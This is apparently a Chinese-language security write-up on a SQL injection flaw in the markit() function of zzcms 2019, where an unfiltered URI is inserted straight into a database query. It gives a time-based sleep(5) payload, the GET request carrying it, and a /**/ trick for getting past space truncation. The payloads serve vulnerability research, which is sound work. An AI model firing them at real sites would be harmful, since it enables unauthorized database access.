存储型XSS参考文章https://0x20h.com/p/9812.html

SQL注入

还是markit()函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?

先看看这个query函数怎么执行的

1563460628040

可以看到直接带入mysqli_query,那么尝试构造下payload

原始SQL语句

insert into zzcms_bad (username,ip,dose,sendtime)
values
('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')

既然只有$url可控,那么直接构造传入的URI就可以了,先直接让数据库执行sleep()函数

insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');#

1563460855588

OK 成功,那么直接构造就行了

GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1

结果发现并没有执行

1563460935987

在函数中dump下$url看看原因

1563460982085

发现被url中的空格截断了

1563461016341

那么直接用注释/**/替换

1563461049641

成功睡眠5秒,证明存在SQL注入。